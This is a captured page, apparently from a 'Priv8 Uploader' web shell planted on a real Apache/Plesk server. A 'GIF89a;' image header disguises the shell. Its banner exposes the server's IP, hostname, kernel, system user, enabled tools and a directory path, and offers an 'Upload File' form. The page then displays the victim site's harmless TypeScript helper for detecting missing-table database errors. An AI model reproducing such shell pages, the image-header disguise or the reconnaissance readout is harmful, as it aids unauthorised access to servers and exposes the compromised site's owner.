GIF89a;
GIF89a;Priv8 Uploader By InMyMine7
Linux gallant-poincare.82-165-91-112.plesk.page 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64
Priv8 Uploader By InMyMine7
Linux gallant-poincare.82-165-91-112.plesk.page 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64
| Server IP : 82.165.91.112 / Your IP : 216.73.216.249 Web Server : Apache System : Linux gallant-poincare.82-165-91-112.plesk.page 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64 User : nr7.net_tfpqq467gv ( 10001) PHP Version : 8.4.25 Disable Function : opcache_get_status MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/vhosts/nr7.net/emdash.nr7.net/node_modules/emdash/src/utils/ |
Upload File : |
/**
* Shared detection helpers for database-layer error messages.
*
* Different SQL dialects phrase "table or relation does not exist" differently:
*
* - SQLite / D1: "no such table: foo"
* - PostgreSQL: 'relation "foo" does not exist'
* 'table "foo" does not exist'
* - MySQL (future): "Table 'db.foo' doesn't exist"
*
* Runtime code paths that short-circuit on missing tables (pre-migration
* probes, optional feature tables, etc.) should use these helpers rather
* than hand-rolling string matches per call-site.
*/
/**
* Extract a lowercase error message from any unknown value, safely.
*/
function messageOf(error: unknown): string {
if (error instanceof Error) return error.message.toLowerCase();
if (typeof error === "string") return error.toLowerCase();
return "";
}
/**
* Returns true when `error` is a "table does not exist" error across the
* dialects EmDash supports (D1/SQLite and PostgreSQL). Used by runtime
* probes to treat pre-migration databases as empty without logging a scary
* warning, while still propagating unrelated errors (permissions, connection
* loss, syntax issues) to callers.
*/
export function isMissingTableError(error: unknown): boolean {
const message = messageOf(error);
if (!message) return false;
// SQLite / D1
if (message.includes("no such table")) return true;
// PostgreSQL (and some MySQL variants): "relation ... does not exist" /
// "table ... does not exist" / "doesn't exist".
if (message.includes("does not exist") || message.includes("doesn't exist")) {
return message.includes("relation") || message.includes("table");
}
return false;
}